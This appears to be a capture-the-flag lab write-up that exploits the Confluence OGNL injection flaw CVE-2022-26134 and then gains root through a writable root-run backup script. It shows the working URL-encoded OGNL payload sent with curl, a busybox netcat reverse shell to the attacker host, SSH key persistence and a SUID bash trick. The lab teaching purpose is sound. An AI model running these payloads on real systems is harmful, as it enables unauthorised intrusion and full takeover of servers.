Machine Info

Spoiler
In this lab, learners exploit CVE-2022-26134, a critical Remote Code Execution (RCE) vulnerability in Atlassian Confluence (version 7.13.6). By leveraging OGNL injection, attackers gain initial access to the system, discover misconfigured cron jobs, and escalate privileges to root by manipulating executable scripts.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 22,8090,8091
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 13:59 CET
Nmap scan report for $VICTIM
Host is up (0.051s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_  256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open  http     Apache Tomcat (language: en)
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
|_http-trane-info: Problem with XML parsing of /evox/about
8091/tcp open  jamlink?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 204 No Content
|     Server: Aleph/0.4.6
|     Date: Mon, 09 Mar 2026 13:00:44 GMT
|     Connection: Close
|   GetRequest: 
|     HTTP/1.1 204 No Content
|     Server: Aleph/0.4.6
|     Date: Mon, 09 Mar 2026 13:00:11 GMT
|     Connection: Close
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Mon, 09 Mar 2026 13:00:11 GMT
|     Connection: Close
|     content-length: 0
|   Help, Kerberos, LDAPSearchReq, LPDString, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 414 Request-URI Too Long
|     text is empty (possibly HTTP/0.9)
|   RTSPRequest: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Mon, 09 Mar 2026 13:00:11 GMT
|     Connection: Keep-Alive
|     content-length: 0
|   SIPOptions: 
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Origin: *
|     Access-Control-Max-Age: 31536000
|     Access-Control-Allow-Methods: OPTIONS, GET, PUT, POST
|     Server: Aleph/0.4.6
|     Date: Mon, 09 Mar 2026 13:00:50 GMT
|     Connection: Keep-Alive
|_    content-length: 0

Confluence CVE-2022-26134

Browsing port 8090 we get redirected to the Confluence login page. Looking at the page we see it’s version which is 7.13.6.

Looking it up online we see a popular unauthenticated RCE with the number CVE-2022-26134. We will jump straight to the exploit.

First we are going to test the command execution with just ping -c 4 IP and see if we get traffic on our attacker host. In order to do that we need to inject an OGNL payload to the app like this ${@java.lang.Runtime@getRuntime().exec("ping -c 4 IP")}. We are going to place this payload on the URL of the HTTP request and we are going to do a simple GET request.

Info
Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) for Java, used to get and set properties of Java objects, execute methods, and manipulate arrays. It is widely used in Java EE web frameworks like Apache Struts for dynamic code evaluation and template rendering, often acting as a bridge between UI components and backend models.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ curl -v http://$VICTIM:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping%20-c%204%20$ATTACKER%22%29%7D/

*   Trying $VICTIM:8090...
* Connected to $VICTIM ($VICTIM) port 8090
* using HTTP/1.x
> GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping%20-c%204%20$ATTACKER%22%29%7D/ HTTP/1.1
> Host: $VICTIM:8090
> User-Agent: curl/8.14.1
> Accept: */*
> 
* Request completely sent off

< HTTP/1.1 302 
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1773062563467
< Set-Cookie: JSESSIONID=9B568B8D987D05AC62B3852F847D858E; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< Location: /login.action?os_destination=%2F%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22ping+-c+4+$ATTACKER%22%29%7D%2Findex.action&permissionViolation=true
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Mon, 09 Mar 2026 13:22:52 GMT
< 
* Connection #0 to host $VICTIM left intact
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:22:33.632649 IP $VICTIM > kali: ICMP echo request, id 21035, seq 1, length 64
14:22:33.632715 IP kali > $VICTIM: ICMP echo reply, id 21035, seq 1, length 64
14:22:34.674184 IP $VICTIM > kali: ICMP echo request, id 21035, seq 2, length 64
14:22:34.674219 IP kali > $VICTIM: ICMP echo reply, id 21035, seq 2, length 64
14:22:35.637150 IP $VICTIM > kali: ICMP echo request, id 21035, seq 3, length 64
14:22:35.637170 IP kali > $VICTIM: ICMP echo reply, id 21035, seq 3, length 64
14:22:36.638109 IP $VICTIM > kali: ICMP echo request, id 21035, seq 4, length 64
14:22:36.638173 IP kali > $VICTIM: ICMP echo reply, id 21035, seq 4, length 64

We do receive traffic back which means that the exploit worked and our injected code worked!

Let’s now establish a reverse shell with this RCE payload busybox nc $ATTACKER 4444 -e bash.

1
curl -v http://$VICTIM:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22busybox%20nc%20$ATTACKER%204444%20-e%20bash%22%29%7D/                                                                 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 57216
pwd
/opt/atlassian/confluence/bin
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
confluence@flu:/opt/atlassian/confluence/bin$ whoami
whoami
confluence
confluence@flu:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
confluence@flu:/opt/atlassian/confluence/bin$ pwd
pwd
/opt/atlassian/confluence/bin
confluence@flu:/opt/atlassian/confluence/bin$ 
1
2
3
confluence@flu:/home/confluence$ ls
ls
local.txt

That is how we get a shell and we can get the local.txt.

Root

Establish an SSH shell

First we are going to make a SSH key pair in order to connect via SSH and have a form of persistence on the host as user confluence.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ssh-keygen
Generating public/private rsa key pair.


Enter file in which to save the key (/home/confluence/.ssh/id_rsa): Created directory '/home/confluence/.ssh'.
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in /home/confluence/.ssh/id_rsa
Your public key has been saved in /home/confluence/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:shDnqs0z5hN3gKfRFC0WXhbD26Zt8IA2yLeW7yETD6w confluence@flu

We copy it to our kali machine with simple copy past.

Tip
Don’t forget to add the public key to the authorized_keys files!

1
2
3
4
confluence@flu:/home/confluence/.ssh$ cat id_rsa
.....

cat id_rsa.pub >> authorized_keys
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ssh -i id_rsa confluence@$VICTIM
...

$ ls
local.txt
$ bash
confluence@flu:~$ ls
local.txt
confluence@flu:~$ pwd
/home/confluence

Backup Script

Looking at the /opt directory immediately we see a log-backup.sh script that is used for backing up the site.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
confluence@flu:/opt$ cat log-backup.sh
cat log-backup.sh
#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP

tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP

# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*"  -mmin +5 -exec rm -rf {} \;

Looking at the code we can clearly see that it backups up the data to the root folder which means it needs to run as root. We can see also that we are the owner of the script!

What we will update the script and add a malicious command that we can leverage to getting a root shell. We will add these two lines:

1
2
cp /usr/bin/bash /home/confluence/lol
chmod +s /home/confluence/lol

After a bit we see our bash binary named lol appear with the SUID!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
confluence@flu:/home/confluence$ ls -al
ls -al
total 5164
drwxr-xr-x 11 confluence confluence    4096 Mar  9 16:15 .
drwxr-xr-x  3 root       root          4096 Dec 12  2023 ..
-rw-------  1 confluence confluence      16 Dec 12  2023 .bash_history
drwxr-x---  3 confluence confluence    4096 Mar  9 13:55 .cache
drwxr-x---  3 confluence confluence    4096 Nov 14 12:31 .java
drwxrwxr-x  3 confluence confluence    4096 Mar  9 14:01 .local
-rw-r--r--  1 confluence confluence      33 Mar  9 13:53 local.txt
-rwsr-sr-x  1 root       root       1437832 Mar  9 16:15 lol
drwx------  2 confluence confluence    4096 Mar  9 13:54 .ssh
Tip
We could have deployed a tool like pspy to identify cronjobs running, but we went straight assuming it will/may run.

Now, we just spawn a root shell and our job is done.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
confluence@flu:/home/confluence$ ./lol -p
./lol -p
lol-5.2# whoami
whoami
root
lol-5.2# cd /root
cd /root
lol-5.2# ls
ls
backup  email8.txt  proof.txt  snap